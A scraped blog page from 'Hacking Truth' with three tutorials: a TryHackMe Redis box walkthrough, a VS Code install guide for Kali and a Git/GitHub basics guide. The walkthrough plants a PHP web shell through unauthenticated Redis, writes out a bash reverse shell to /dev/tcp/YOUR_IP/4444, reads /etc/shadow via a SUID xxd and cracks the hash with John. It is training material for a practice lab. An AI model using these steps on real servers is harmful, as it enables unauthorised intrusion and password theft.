-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

  • TryHackMe Res Redis pentesting Walkthrough

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.
    TryHackMe Res Walkthrough


    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.
      



    Res is a new box on TryHackMe where you have to hack into a vulnerable database server with an in-memory data-structure in this semi-guided challenge! TryHackMe Res Redis pentesting Walkthrough


    Let’s start of by scanning all ports using Nmap:


     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo nmap -A -T4 -Pn  -sV -p- 10.10.43.113                                          130 ⨯
    [sudo] password for hackerboy: 
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-26 23:32 IST
    Nmap scan report for 10.10.43.113
    Host is up (0.22s latency).
    Not shown: 65533 closed ports
    PORT     STATE SERVICE VERSION
    80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    6379/tcp open  redis   Redis key-value store 6.0.7
    No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
    TCP/IP fingerprint: #www.kumaratuljaiswal.in #www.hackingtruth.in
    OS:SCAN(V=7.91%E=4%D=1/26%OT=80%CT=1%CU=44172%PV=Y%DS=2%DC=T%G=Y%TM=60105BB
    OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=105%TI=Z%CI=I%II=I%TS=8)OPS
    OS:(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST1
    OS:1NW7%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
    OS:(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
    OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
    OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
    OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
    OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
    OS:=S)
    
    Network Distance: 2 hops
    
    TRACEROUTE (using port 23/tcp)
    HOP RTT       ADDRESS
    1   224.93 ms 10.8.0.1
    2   225.08 ms 10.10.43.113
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 626.03 seconds
                                                                                                  
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    






     

    Looking at the results we have an Apache web server running on port 80 and Redis 6.0.7 which is an in memory data structure store running on port 6379.


    Port 80: Apache Web Server:

    Let’s checkout the web server on port 80:

     

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

    OK, so we have the standard Apache landing page. Looking at the source code we can see nothing hidden. I ran a directory scan using Dirsearch to see whether I could find any hidden directories. Unfortunately no hidden directories can be found. Time to move on to port 6379 and enumerate Redis.

     

    Redis is not something I am familiar with so I spent some time Googling and found a good blog on enumerating Redis as below: 

     

     


     





    To start with we need to download redis-tools, so we can have access to redis-cli:

    sudo apt-get install redis-tools



    To start redis-tools, from the command line we enter:

    redis-cli -h [IP ADDRESS]


    By default Redis can be accessed without credentials. However, it can be configured to support only password, or username + password. In our case Redis can be accessed without any credentials. We can check this simply by entering the ‘info’ command. 


     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

    From the above we can see that we have a potential username: vianka. From the Hack Tricks website we can see that we can gain RCE as follows:




    TryHackMe Res Redis pentesting Walkthrough

     

     

    In firefox we can navigate to [IP-ADDRESS]/redis.php:

     


    TryHackMe Res Redis pentesting Walkthrough


     



    We can see that redis.php does indeed run phpinfo().

    Let’s try this with another php script to run commands:


    <? php system($_GET['cmd']); ?>



    In redis-cli, we can simply overwrite the previous php file with this code and try RCE. 



     

    TryHackMe Res Redis pentesting Walkthrough

     

     

    Let’s see if we can print out the contents of the passwd file on the Linux machine, it is best to change to ‘view-source’ to see the output:


     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

    And there we go, we have the full contents of the /etc/passwd file on the screen and again we can see that we have a user vianka. All we need to do now is setup a listener and create a script to run a simple reverse php shell.

    To do this I will do the same as above in redis-cli, but we will set test to run the following php reverse shell script.



    "<?php exec("/bin/bash -c 'bash -i > /dev/tcp/YOUR_IP/4444 0>&1'"); ?>"




    One important point here is that we will need to escape the set test “….” quotes from the php shell script, so we will need to modify our shell code as follows:




    TryHackMe Res Redis pentesting Walkthrough


     

    To capture the reverse shell I will start a Pwncat listener, as it has a great deal of functionality, a bit like meterpreter, in that we can easily upload and download files for further enumeration of the system, as well as run the built-in privesc scripts. 

     

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

    And we are in as user www-data. In the /home directory we can see user Vianka. Moving to Vianka’s home directory we can see that we have read access to the user.flag, so we can read the flag. 

     

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

    Wait here, so basically i can't clear my terminal if in your case has been same so dont worry we are here to reloved this issue. simple type this command and you will be able to clear your terminal.

     

    export TERM=xterm 

     



    TryHackMe Res Redis pentesting Walkthrough


     

     

     The result show a binary xxd with the SUID bit set and the owner is root. We can probably exploit this to read a file with full root privileges. The go to choice fo rlinux binary exploits is GTFOBins. 

     



     


    Provided by GTFOBins

     

     

     

    but all we will find the file with sudo permission with this type of command 


    find / -perm -u=s -type f 2>/dev/null

     



    TryHackMe Res Redis pentesting Walkthrough


     

     

    Unfortunately we do not have sudo rights, but looking at the info we can read a file as root, as the file as the SUID bit set. I may be possible to read the shadow file and extract the hash for user vianka and we if we can brute force the hash to get the password.

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

    Using this exploit we can print out the contents of the shadow file and copy Vianka hash. If I can brute force the hash using John we can simply SU as user Vianka.

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

     

    Brute Forcing Vianka’s Hash with John:

    To do this we need to create two files, one with the contents of the passwd file and one with the hash of the shadow file, we only need to copy and paste the information for user Vianka. We can then use the ‘unshadow’ command to convert the hash to a format that is readable by John.

     


    echo "content" > local_shadow

    echo "content" > local_passwd

    unshadow passwd.txt shadow.txt > hash.txt


     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

    john --format=sha512crypt --wordlist=/home/hackerboy/Documents/rockyou.txt hash.txt

     

     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

    Now, we have the password for user vianka,so we can simply 'su vianka' to change user to vianka:

     


     

    TryHackMe Res Redis pentesting Walkthrough


     

     

    TryHackMe Res Redis pentesting Walkthrough

     

     

     

    And there we have it, the root.txt file is there for the taking. I really enjoyed this box and it was good to learn about Redis, something I had not come across before.

     

     

     

    Disclaimer

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



      - Hacking Truth by Kumar Atul Jaiswal


     

  • visual studio code install in linux version 2021.2


    visual studio code install in linux version 2021.2


    VSCode a.k.a


    In this short tutorial shows how to install Visual Studio Code on Linux and the new version of kali linux 2021.2 version have alread installed visual studio code on that linux. visual studio code install in linux version 2021.2

    Visual Studio Code is one of top IDEs for Python.

    Visual Studio Code is an open source IDE developed by Microsoft which is available for Linux. It offers many interesting features like:


        Syntax highlight
        Code completion
        Version control
        IntelliSense
        marketplace
        Developer Community

     


    Install Visual Studio Code


    VSCode a.k.a. Visual Studio Code Open Source (“Code-OSS”) - Code editor

    VSCode have been included into the kali-linux-large metapackage, so they are included on the installer image for people doing a fresh install. Otherwise you will need to upgrade Kali (if you already have the kali-linux-large install) or manually install them (if you want them!):

     

    sudo apt update && sudo apt install -y code-oss
     

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop]
    └─$ sudo apt update && sudo apt install -y code-oss
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop]
    └─$ 
    

     

     

     

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo apt-get install code-oss
    [sudo] password for hackerboy: 
    Reading package lists... Done
    Building dependency tree... Done
    Reading state information... Done
    The following packages were automatically installed and are no longer required:
      autopoint debugedit dh-autoreconf dh-strip-nondeterminism dwz kbuild libarchive-cpio-perl libdebhelper-perl
      libfile-stripnondeterminism-perl libmail-sendmail-perl librpmbuild9 librpmsign9 libsub-override-perl libsys-hostname-long-perl
      linux-headers-5.9.0-kali5-amd64 linux-headers-5.9.0-kali5-common linux-image-5.9.0-kali5-amd64 linux-kbuild-5.9
      python3-distro-info python3-software-properties rpm unattended-upgrades
    Use 'sudo apt autoremove' to remove them.
    The following additional packages will be installed:
      libjs-highlight.js libnode72 nodejs nodejs-doc
    Suggested packages:
      npm
    The following NEW packages will be installed:
      code-oss libjs-highlight.js libnode72 nodejs nodejs-doc
    0 upgraded, 5 newly installed, 0 to remove and 3 not upgraded.
    Need to get 85.9 MB of archives.
    After this operation, 321 MB of additional disk space will be used.
    Do you want to continue? [Y/n] Y
    Get:1 http://ftp.harukasan.org/kali kali-rolling/main amd64 libnode72 amd64 12.21.0~dfsg-3 [8,382 kB]
    Get:2 http://ftp.harukasan.org/kali kali-rolling/main amd64 nodejs amd64 12.21.0~dfsg-3 [146 kB]                                     
    Get:3 http://ftp.harukasan.org/kali kali-rolling/main amd64 code-oss amd64 1.56.1-0kali2 [74.4 MB]                                   
    Get:4 http://ftp.harukasan.org/kali kali-rolling/main amd64 libjs-highlight.js all 9.18.5+dfsg1-1 [397 kB]                           
    Get:5 http://ftp.harukasan.org/kali kali-rolling/main amd64 nodejs-doc all 12.21.0~dfsg-3 [2,538 kB]                                 
    Fetched 85.9 MB in 7min 47s (184 kB/s)                                                                                               
    Selecting previously unselected package libnode72:amd64.
    (Reading database ... 416536 files and directories currently installed.)
    Preparing to unpack .../libnode72_12.21.0~dfsg-3_amd64.deb ...
    Unpacking libnode72:amd64 (12.21.0~dfsg-3) ...
    Selecting previously unselected package nodejs.
    Preparing to unpack .../nodejs_12.21.0~dfsg-3_amd64.deb ...
    Unpacking nodejs (12.21.0~dfsg-3) ...
    Selecting previously unselected package code-oss.
    Preparing to unpack .../code-oss_1.56.1-0kali2_amd64.deb ...
    Unpacking code-oss (1.56.1-0kali2) ...
    Selecting previously unselected package libjs-highlight.js.
    Preparing to unpack .../libjs-highlight.js_9.18.5+dfsg1-1_all.deb ...
    Unpacking libjs-highlight.js (9.18.5+dfsg1-1) ...
    Selecting previously unselected package nodejs-doc.
    Preparing to unpack .../nodejs-doc_12.21.0~dfsg-3_all.deb ...
    Unpacking nodejs-doc (12.21.0~dfsg-3) ...
    Setting up libnode72:amd64 (12.21.0~dfsg-3) ...
    Setting up libjs-highlight.js (9.18.5+dfsg1-1) ...
    Setting up nodejs (12.21.0~dfsg-3) ...
    update-alternatives: using /usr/bin/nodejs to provide /usr/bin/js (js) in auto mode
    Setting up nodejs-doc (12.21.0~dfsg-3) ...
    Setting up code-oss (1.56.1-0kali2) ...
    Processing triggers for doc-base (0.11.1) ...
    Processing 1 added doc-base file...
    Processing triggers for libc-bin (2.31-12) ...
    Processing triggers for man-db (2.9.4-2) ...
    Processing triggers for shared-mime-info (2.0-1) ...
    Processing triggers for mailcap (3.69) ...
    Processing triggers for kali-menu (2021.2.3) ...
    Processing triggers for desktop-file-utils (0.26-1) ...
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    

     

     

     

     

    For open visual studio code, it is simple, simply type vscode in terminal and hit enter but here is a problem if you exit the terminal your VS code will be terminated but how do fixed it!!! 

     





     

     

    How to set VS code in Panel 


    So now we will see some steps, with the help of which we will be able to set up VS Code in the Linux panel. 


    Step 1 - Open panel preferences






    Step 2 - add some launcher so click on add button

     

     


     

     

     

    Step 3 - select launcher and add it..






     

     

    Step 5 - As you can see the launcher has been created


     

     


     

     

     

    Step 6 - Double click on the launcher, after that a box will open next to you, in which you have to click on the plus icon.






     

     

    Step 7 -Then we find a VS code installation file, so simple type "locate vscode" and as you can see /home/hackerboy/.vscode file, copy this (There may be a different directory in your case). NOTE - this is optional. 

     


     




     

     

    Step 8 - Then, add Name, command and working directory and add icon


    Name - visual studio code ( you can change )

    Command - vscode (not change)

    Working Directory - /home/hackerboy/.vscode (There may be a different directory in your case).

    Icon - Click Here 

     

    Create.

     


     


     



     

    Step 9 - You can easily open it whenever you want 







     

    Customization 


    Before running the program in Visual Code, we will do some setting which will help you a lot in automation means to run the code smoothly. for example

    IDE :- python, c/c++ ✅

    Code runner :- clear previous output

    Code runner :- run in terminal ✅

    Code runner :- save file before run ✅

     

    Click on extension section

     

     


     

     

     

    Search code runner and install them

     

     

     


     

     

     

    then go to setting option and in user simple search code runner

    Then tick mark on -

    clear previous output ✅

    Code runner :- run in terminal ✅

    Code runner :- save file before run ✅

     


     

     


     

     

     

    so as you can after installing IDE (IDE already installed in VS code) as you can see our c++ program is running. 



     


     

     

    Vola!!!

     

    A few notes about code-oss (aka VSCode): (credit kali linux)

    • We are compiling this from source, rather than using the pre-built binaries
    •  
    • The upside to this is that telemetry data is disabled by default
    •  
    • The downside is that some aspects of the marketplace may not work. If you find these limitations a problem, you may wish to uninstall the Kali package and switch to the VSCode pre-built binaries





    You also may question why it was named code-oss, rather than code


    • Code-OSS is what the source-code calls itself, which is used as the base before the configurations are applied for the pre-compiled binaries that gets distributed as “code”.
    •  
    • As we are using the source-code, we used the variables defined by it.
    •  
    • The two different names help to distinguish the differences between them (also prevents any clashes and conflicts!).
    •  
    • We also included various aliases in our package to help bridge between the two different versions. Meaning, calling vscode and code will use our package, code-oss, with a friendly notice (when installed).

     

     

     


    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     

  • Full tutorial of Git and Github

     

    Full tutorial of Git and Github

     

     

    Git and Github

     

    Hello guys how's it going today I'm going to be telling you guys about git and github and give a fully practical tutorial all right so what is git now if you read the Wikipedia page you probably find that it says something like distributed version control and/or distributed version management system something along those lines now what does that mean if you're not in software development just getting started that Prabhas mean very much to you so let's start from the beginning what our source codes source codes are very simply just files in folders now like the way you have Word documents you also have your code is stored in files and folders just like Excel files or any other Word documents for that matter why do we need version control for your source code well in programming a lot of people work together on a lot of files.


    For example if you're building a web application or an iOS application or an Android application for that matter there's going to be a bunch of files and a bunch of folders now I know that's a very like generalized simplified way of looking at it but that's all it really is at the end of the day so if we have files and folders why can't we just work on files and folders and not worried about version control well here's the thing have your work on a Word document and when you share that with your friend and you share it using Dropbox and you both open the file at the same time what happens!! when you work on it together you override each other's changes now that's where version control comes in having version control allows you to track what you've worked on what your friends are working on so you don't clash the changes and you don't override each other changes and even if you do work on the same files the version control system will tell you that oh dude you're going to override your friends changes don't do that or if you want to you want to take a look at like you want to control how it merges together you can do that.



    So you can't do any of that stuff without version control that is the very reason why we use version control is to allow us to work together and collaborate in a more efficient manner now let's talk about the distributed part we have version control which is git which is installed in our local machine and then we have a you know your friend has version control that's gate that's installed on his machine how do you get them to sync up now they can actually talk together if you if you your friends computer and your computer are in the local network you guys can actually send each other you know git commits and it'll sync up just fine if provided you set it up right that's the beautiful thing about being distributed now the better way to work would be to have a central source something like github where you can just push your changes to there and then your friends can just pull those changes down from the cloud and then you guys work together in this centralized server or service it can be bitbucket or could be github or you can even host your own.

     

     

    git init - The git init command is used to initialise a blank repository. It creates a .git folder in the current working directory


    git add . - The git add command is used to add changes in the staging area. when the git add is used with the full stop, it's add all the files in the repository to the staging area.



    git commit - The git commit command is used to save the changes to the local repository. The command helps you keep record of all the changes made.


    git commit -m "Adding repo structure for trojan."
    git commit -m "Adding repo structure for status."


    git status - The git status command is used to display the state of the current repository and the staging area.



    git merge - The git merge command is used to integrate different branches into a single branch.

    The process of merging can be defined as a way of the putting a forth history back together.



    git push - The git push command is used to upload the content from the local repository to the remote repository. Full tutorial of Git and Github



     

     

    Practical Time

    So, lets move on first to check version of git ottherwise if git is not installed in your system, type this command and install it..

    For linux - sudo apt-get install git

    For windows - mac - other linux distroCLICK HERE

     

     

    First we check git version: $ git --version

     

     

    hackerboy@KumarAtulJaiswal ~/Desktop> git --version
    git version 2.30.2
    hackerboy@KumarAtulJaiswal ~/Desktop> 
    
    

     

     

    then we configuration our name and email becuase if any changes done by you so others will know that this line, features, branch etc you have added.




     

     

    hackerboy@KumarAtulJaiswal ~/Desktop> sudo git config --global user.name "Kumar Atul Jaiswal"
    hackerboy@KumarAtulJaiswal ~/Desktop> sudo git config --global user.email "kumaratuljaiswal222@gmail.com"
    
    
    

     

     

    if you want to check name and email are successfully set or not and even you want to edit so let's try this:




     

     

    hackerboy@KumarAtulJaiswal ~/Desktop> sudo git config --global user.name
    Kumar Atul Jaiswal
    hackerboy@KumarAtulJaiswal ~/Desktop> sudo git config --global user.email
    kumaratuljaiswal222@gmail.com
    hackerboy@KumarAtulJaiswal ~/Desktop> 
    hackerboy@KumarAtulJaiswal ~/Desktop> sudo git config --global --edit
    hackerboy@KumarAtulJaiswal ~/Desktop> 
    
    

     

     

    Now, we are creating project with this name and email: so, first of all we made a new directory and then if you want to that's dir convert into repository




     

     

    hackerboy@KumarAtulJaiswal ~/Desktop> 
    hackerboy@KumarAtulJaiswal ~/Desktop> mkdir learn-git
    hackerboy@KumarAtulJaiswal ~/Desktop> cd learn-git
    hackerboy@KumarAtulJaiswal ~/D/learn-git> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git> sudo git init
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint: 
    hint:   git config --global init.defaultBranch <name>
    hint: 
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint: 
    hint:   git branch -m <name>
    Initialized empty Git repository in /home/hackerboy/Desktop/learn-git/.git/
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

     

    with this (.git) you get to know which other directories, files, are in this repo because git is tracking them all




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> ls -la
    total 20
    drwxr-xr-x  3 hackerboy hackerboy  4096 Jun  4 06:29 ./
    drwxr-xr-x 94 hackerboy hackerboy 12288 Jun  4 06:27 ../
    drwxr-xr-x  7 root      root       4096 Jun  4 06:29 .git/
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    

     

     

     

    Now, we are a new file(project file) and check status with git status for what changes(modified, delete, add) in this repo.




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    
    No commits yet
    
    Untracked files:
      (use "git add <file>..." to include in what will be committed)
            add.py
    
    nothing added to commit but untracked files present (use "git add" to track)
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    

     

     

     

    see the above untracked file let's add the file.




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git add add.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    
    No commits yet
    
    Changes to be committed:
      (use "git rm --cached <file>..." to unstage)
            new file:   add.py
    
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    

     

     

    Now, we are in the staging area. Staging area thats mean the place where we hold the own changes before commited.





     

     

     

     

     

    For commit after adding in staging area and if we ignore ( -m ) option, So any editor can open here like nano, vim, mousepad etc..so that's why we're using it and besically (-m) for message..




     

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git commit -m "initial commit"
    [master (root-commit) e910f6b] initial commit
     1 file changed, 6 insertions(+)
     create mode 100644 add.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    

     

     

     

    Now, with this command "git log" we can check to how many commit in the previous time.. As if this author had committed this time and a hashcode is also generated here.




     

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git log
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77 (HEAD -> master)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    

     

     

    So now we make some small changes inside the file and then with the help of "git status" command we see what it shows.




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    Changes not staged for commit:
      (use "git add <file> .." to update what will be committed)
      (use "git restore <file>..." to discard changes in working directory)
            modified:   add.py
    
    no changes added to commit (use "git add" and/or "git commit -a")
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    

     

     

    Now we create a another new file OK! and then check once again


    modified file is add.py and
    untracked file is atul.py


    here, we some changes in add.py


     

     

     


     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    Changes not staged for commit:
      (use "git add <file>..." to update what will be committed)
      (use "git restore <file>..." to discard changes in working directory)
            modified:   add.py
    
    Untracked files:
      (use "git add <file>..." to include in what will be committed)
            atul.py
    
    no changes added to commit (use "git add" and/or "git commit -a")
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    

     

     

    let's add this atul.py file


    If you want to add only one file now and not the other then you can do this.
    now atul.py file is added in staging are let's commit this.




     

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git add atul.py
    [sudo] password for hackerboy: 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    Changes to be committed:
      (use "git restore --staged <file>..." to unstage)
            new file:   atul.py
    
    Changes not staged for commit:
      (use "git add <file>..." to update what will be committed)
      (use "git restore <file>..." to discard changes in working directory)
            modified:   add.py
    
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    

     

     

    sudo git commit -m "adding atul.py".




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git commit -m "adding atul.py"
    [master 62ca770] adding atul.py
     1 file changed, 2 insertions(+)
     create mode 100644 atul.py
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    
    

     

     

    Now git status only one file (add.py) remaining here(this is modification file - add.py) .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git status
    On branch master
    Changes not staged for commit:
      (use "git add <file>..." to update what will be committed)
      (use "git restore <file>..." to discard changes in working directory)
            modified:   add.py
    
    no changes added to commit (use "git add" and/or "git commit -a")
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    

     

     

    So, if we check log file with git log command, as you can see here are two files commited.
    first one is atul.py and second one is starting commit..
    (HEAD is a pointer so it keeps on moving from commit to commit.
    .




     

     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git log
    commit 62ca770ab7c38abccb8f456900a47a55b05c3bf5 (HEAD -> master)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:06:28 2021 +0530
    
        adding atul.py
    
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    

     

     

    so what happend next? You can also (git add . ) this will ensure that all the files will be added to the staging area. .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git add .
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git commit -m "added message in add.py"
    [master 744a177] added message in add.py
     1 file changed, 4 insertions(+), 4 deletions(-)
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

    let's check git log command and here are 3 commited file...




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> git log
    commit 744a177504dd38541098ea79a5bb8feb982442f4 (HEAD -> master)
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:15:00 2021 +0530
    
        added message in add.py
    
    commit 62ca770ab7c38abccb8f456900a47a55b05c3bf5
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 07:06:28 2021 +0530
    
        adding atul.py
    
    commit e910f6b5f1208c697329ed4207d8cd57e598ee77
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    
    
    
    

     

     

    Now let's going back to past...Because some discard or change in the file. .




     

     

    commit e910f6b5f1208c697329ed4207d8cd57e598ee77
    Author: Kumar Atul Jaiswal <kumaratuljaiswal222@gmail.com>
    Date:   Sat Jun 5 06:38:00 2021 +0530
    
        initial commit
    
    
    
    

     

     

    first you need to any hex code that you want to copy, so we copy the hash code of initial commit. .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git checkout e910f6b5f1208c697329ed4207d8cd57e598ee77
    Note: switching to 'e910f6b5f1208c697329ed4207d8cd57e598ee77'.
    
    You are in 'detached HEAD' state. You can look around, make experimental
    changes and commit them, and you can discard any commits you make in this
    state without impacting any branches by switching back to a branch.
    
    If you want to create a new branch to retain commits you create, you may
    do so (now or later) by using -c with the switch command. Example:
    
      git switch -c <new-branch-name>
    
    Or undo this operation with:
    
      git switch -
    
    Turn off this advice by setting config variable advice.detachedHead to false
    
    HEAD is now at e910f6b initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))>
    
    

     

     

    After this as you can see this file has been deleted. .

     





     

     

     

    and if you want to back again in master..
    so type this command and as you can see (add.py and atul.py) file revert back and Switched to branch 'master'. .




     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))> sudo git checkout master
    Previous HEAD position was e910f6b initial commit
    Switched to branch 'master'
    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> 
    
    

     

     

    again deleted. .


     

     

    hackerboy@KumarAtulJaiswal ~/D/learn-git (master)> sudo git checkout e910f6b5f1208c697329ed4207d8cd57e598ee77
    Note: switching to 'e910f6b5f1208c697329ed4207d8cd57e598ee77'.
    
    You are in 'detached HEAD' state. You can look around, make experimental
    changes and commit them, and you can discard any commits you make in this
    state without impacting any branches by switching back to a branch.
    
    If you want to create a new branch to retain commits you create, you may
    do so (now or later) by using -c with the switch command. Example:
    
      git switch -c 
    
    Or undo this operation with:
    
      git switch -
    
    Turn off this advice by setting config variable advice.detachedHead to false
    
    HEAD is now at e910f6b initial commit
    hackerboy@KumarAtulJaiswal ~/D/learn-git ((e910f6b5…))>
    
    
    

     

     


     

     

     

     

